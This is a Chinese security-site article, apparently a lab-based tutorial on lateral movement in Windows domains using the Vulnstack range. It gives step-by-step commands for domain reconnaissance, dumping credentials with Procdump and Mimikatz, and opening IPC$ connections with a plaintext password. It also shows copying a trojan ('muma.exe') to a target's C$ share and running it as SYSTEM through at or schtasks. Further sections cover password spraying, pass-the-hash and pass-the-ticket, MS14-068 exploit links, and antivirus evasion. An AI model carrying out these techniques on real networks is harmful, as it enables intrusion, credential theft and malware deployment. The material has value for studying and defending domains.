标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-3021] 作者: liu 发表于: [2022-03-03]
本文共 [526] 位读者顶过
0x00 Preface内网渗透主要是基于前期外围打点 getshell 的 webserver,通过收集 webserver 上的信息,然后对其他内网主机进行口令上的攻击,当然也有一些基于漏洞的攻击。 内网相关概念这里不再进行介绍,大家可以自行百度,诸如什么是域、域与工作组的区别、什么是 DC、什么是 AD 等。当然,概念是生涩难懂的,结合实际环境会有助于理解。某内网靶场的详细教程:Vulnstack(一) 内网渗透过程中经常会涉及到内网穿透,如何理解内网穿透以及端口转发、端口映射等相关知识可以参考:如何从零构建对内网穿透的理解 实操部分写的比较草率,主要是为了增强认知、扩展思路、扩充知识面。实际上有很多优秀的集成化工具,很少会拆分开来单独使用这些方法。当然,大多数情况下是要考虑免杀的,免杀时可能会将某一步操作拆分出来,单独进行免杀和利用。 0x01 信息收集查看系统详细信息,如 OS 版本、补丁安装情况,可以根据这些信息筛选可利用的漏洞: systeminfo
![]() 查看启动进程,可以根据启动进程判断主机在域中扮演的角色:
net start
![]() 查看进程列表:
tasklist
![]() 查看端口开放情况:
netstat -ano
![]() 判断是否存在域:
net view /domain
![]() 查看主机名、域 DNS、IP:
ipconfig /all
![]() 查看域内主机:
net view
![]() 域内主机以域服务器时间为准,故该命令可用于判断 DC:
net time /domain
![]() 查看 IP:
nslookup 域名
![]() 查看登录信息:
net config workstation
![]() 查看用户信息:
whoami /all
![]() 查看域内用户,可以将其作为字典,对其他主机的密码进行爆破:
net user /domain
![]() 这个命令在 DC 上可以直接执行,在其他域主机上执行要求打开 DC 的 RPC 服务。 ![]() 探针域内存活主机:
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL=" ![]() 当然也可以借助 nmap、masscan 等第三方工具或 empire、nishang 等第三方脚本,但是使用系统命令的最大好处就是不用考虑免杀。
域内其实还有一台机器 STU1,但它开了防火墙,所以是禁 ping 的,这可能也是前面 net view 时没有显示 STU1 的原因。我们关了防火墙再试一遍: ![]()
需要注意的是,Mimikatz 属于第三方软件,直接上传到目标主机可能被杀毒软件查杀,这时我们可以配合官方软件 Procdump,将 Procdump 上传目标主机获取用户信息 (该文件不可读),使用本地的 Mimikatz 打开 Procdump 获取的用户信息。 mimikatz 下载: https://github.com/gentilkiwi/mimikatz/releases procdump 下载: https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump 0x02 IPC&SMB&WMI前面已经说了,内网渗透主要是基于口令的攻击。同一域内的主机不计其数,域用户不计其数,为了便于记忆和管理,域成员的密码很多都会有重合。当我们拿到某个域成员的密码,就可以利用它把口子越撕越大,不断丰富我们的密码字典,然后不断地对域内主机进行爆破,直至拿下 DC。 Windows 提供了许多协议和相关功能,我们可以利用这些功能和协议传递用户的凭证进行验证。 一、SMB 协议
这么说吧,域内最重要的是啥?一个是为了保障安全(内网与外网相隔绝),另一个就是资源共享,毕竟大家都是一条船上的人。SMB 协议就是用于实现各种资源的共享的,其中就包括 IPC 连接中的命名管道。 在 Windows NT 中 SMB 基于 NBT 实现。而在 Windows2000 中,SMB 除了基于 NBT 的实现,还有直接通过 445 端口实现。NBT(NetBIOS over TCP/IP):使用 137, 138 (UDP) and 139 (TCP)来实现基于 TCP/IP 的 NETBIOS 网际互联。 我的理解就是,445 是 139 的升级,139 实现条件比 445 更苛刻,但两者都是为了实现 SMB 协议,因此两者并不冲突。在 WindowsNT 中 SMB 基于 NBT 实现,即使用 139(TCP)端口;而在 Windows2000 中,SMB 除了基于 NBT 实现,还可以直接通过 445 端口实现。 二、IPC IPC(Inter-Process Communication,进程间通信),进程间通信是指两个进程的数据之间产生交互。进程间通信主要方式有共享内存、消息队列、管道等。其中共享内存主要用于同一计算机内进程间通信,消息队列和管道主要用于分布式环境(通信进程位于通过网络连接的不同计算机)。 ![]()
与 TCP/IP(传输控制协议或 internet 协议)一样,命名管道是一种通讯协议。它一般用于局域网中,因为它要求客户端必须具有访问服务器资源的权限(SMB 协议)。
总结一下,FIFOs 是共享 "命名管道" 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。因此, 我们可以基于此实现对用户名和密码的爆破。需要注意的是,IPC$ 需要 139 或 445 端口的支持。 三、WMI
简单来说,咱们在 cmd 或者 powershell 中使用的命令行语言,就是 WMI 支持的,它提供给我们一个接口如 powershell,便于我们管理计算机。 谈及远程管理,延申几个比较重要的端口,如 22、23、135、139、445、3389 等。139、445 端口我们前面已经讨论过了,22 端口是 linux 的 ssh,23 端口是 telnet,3389 是远程桌面连接 rdp,这些都比较好理解。咱们重点来说一下 135 端口。
进程间通信(IPC)是在多任务操作系统或联网的计算机之间运行的程序和进程所用的通信技术。有两种类型的进程间通信(IPC)。 本地过程调用 (LPC):LPC 用在多任务操作系统中,使得同时运行的任务能互相会话。这些任务共享内存空间使任务同步和互相发送信息。 远程过程调用(RPC):RPC 类似于 LPC,只是在网上工作。RPC 开始是出现在 Sun 微系统公司和 HP 公司的运行 UNⅨ 操作系统的计算机中。 简单来说,RPC 就是用于支持远程 IPC 的连接。无论是本地连接还是远程连接,都要依托于 VMI 服务进行管理。 四、小结 SMB 协议用于实现共享,IPC 用于建立连接,不连接怎么共享?前面已经说了,共享是包括命名管道的,而命名管道正是连接方式,因此 SMB 协议的共享其实是包含 IPC 的,不仅如此,它还依赖于 IPC 连接。但是归根结底,对于连接后的计算机的远程管理,还是要依托于 VMI。 0x03 at&schtasks
at&schtasks 用于创建定时任务,其中 at 利用场景: 已拿下内网中一台主机的权限(webserver),掌握该主机的域用户名和密码,知道域内其他用户名。 利用流程:
2.copy 要执行的命令脚本到目标主机
![]() 查看当前网络连接:
net use
![]() 使用明文密码 hongrisec@2021 与 192.168.52.143 的 god\administrator 用户建立远程 IPC 连接:
net use \\192.168.52.143\ipc$ "hongrisec@2021" /user:god\administrator
![]() 先将恶意文件上传到外围打点时拿下权限的 webserver 上,再通过前面建立的远程 IPC 连接将恶意文件从 webserver copy 到目标主机:
copy C:\Users\liukaifeng01\Desktop\muma.exe \\192.168.52.143\C$
![]() ![]() 一、at<Windows2012
Windows2012 以下版本,添加计时任务: at \\192.168.52.143 15:30 C:\muma.exe 二、schtasks>=Windows2012 Windows2012 及以上版本,创建计时任务对应文件: schtasks /create /s 192.168.52.143 /ru "SYSTEM" /tn adduser /sc DAILY /tr C:\muma.exe /F 运行 adduser 任务: schtasks /run /s 192.168.52.143 /tn adduser
删除 adduser 任务: schtasks /delete /s 192.168.52.143 /tn adduser 三、impacket impacket 是一个打包好的工具包,里面包含了对于各种协议和系统命令的利用工具。对于 at&schtasks,我们可以使用 impacket 中的 atexec.exe,使用它可以轻松地进行远程连接并执行系统命令。 ![]() python 版 impacket 下载:
https://github.com/SecureAuthCorp/impacket exe 版 impacket 下载: https://gitee.com/RichChigga/impacket-examples-windows 在实战中,当我们拿下了 webserver,获取了 webserver 上的密码以及所有的域用户、本地用户、域内存活主机 IP 后,我们就可以以用户为用户字典、IP 为 IP 字典、密码为密码字典,进行批量连接(碰撞),探测哪些主机可以成功连接。一旦成功连接,便意味着我们可以通过计划任务等方式拿到连接的主机权限。拿到新的主机权限后,我们就可以获得新的主机密码,然后丰富自己的密码字典,再进行批量连接(碰撞)。循环往复,直至拿下 DC。 如上图所示,使用 bat 脚本只能遍历一个变量,如果想要同时遍历三个变量,可以使用 python。例如建立三个列表,使用三个循环进行遍历,循环生成命令执行语句(string),最后使用 python os 模块中的 os.system() 函数执行系统命令。但需要注意的是,域内主机上很可能没有 python 环境,因此我们需要借助 python 中的 pyinstaller 模块,它可以将 py 脚本打包成可执行文件,直接在 windows 上运行:
利用思路不变,变的仅是命令。 ![]() psexec 是微软官方 pstools 中的工具,所以不需要考虑免杀。其中上图中说到,psexec 第二种方法和 smbexec 无需建立 IPC 连接,我认为是不合理的。这几种方法只是命令不同罢了,提供明文账户密码的时候也是要建立 IPC 连接的,因为这个利用就是基于 IPC 的共享。
另外需要注意的就是,官方是不支持 hash 连接的,如果想要使用 hash 连接(仅能得到 hash),可以使用 impacket 工具包,但是要做好免杀。 ![]() 我个人认为,前面介绍的几种方法没啥区别,都是基于 IPC 共享的目的是为了便于管理员进行远程操作和管理,但是我们可以利用验证时的回显进行密码爆破。
0x05 pth&ptk&pttPTH:pass the hash(LM、NTLM) PTK:pass the key(AES 256) PTT:pass the ticket Windows2012 及以上版本默认关闭 wdigest,攻击者无法从内存中获取明文密码。Windows2012 以下版本如安装 KB2871997 补丁,同样也会导致无法获取明文密码。 针对以上情况,我们提供了如下解决方案:
Windows 认证采用 LM Hash 及 NTLM Hash 加密算法,个人系统在 Windows vista 后,服务器系统在 Windows 2003 以后,认证方式均为 NTLM Hash。 如果仅得到了 Hash,既可以尝试在本机破解,也可以使用前面介绍的 impacket。impacket 中的工具能传递 hash 并能直接执行系统命令,优点:自带提权,命令简洁,功能强大。缺点:非官方工具,容易被杀。 PTH、PTK 均可以使用 mimikatz 进行获取和攻击,这里不再赘述,mimikatz 相关使用自行百度。 hash 破解工具 hashcat 下载:https://github.com/hashcat/hashcat ![]() 需要注意的是,只有打了补丁(KB2871997)才能使用 ptk。
PTT 攻击的部分就不是简单的 NTLM 认证了,它是利用 Kerberos 协议进行攻击的。 Kerberos 协议具体工作方法,在域中,简要介绍一下:
说白了,票据就跟 cookie 一样,我们需要获取新鲜的 cookie(未过期,主机登录后十小时左右过期),然后注入内存当中,通过伪装混过认证。 ![]() 这个可以通过漏洞 poc 或工具进行利用,MS14-068 下载:
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068 工具 kekeo 下载: https://github.com/gentilkiwi/kekeo/releases 0x05 ReferenceSQL Server 中的命名管道 (named pipe) 及其使用 进程间通信(IPC):共享内存和消息队列原理详解 命名管道 TCP/IP 协议 匿名管道 |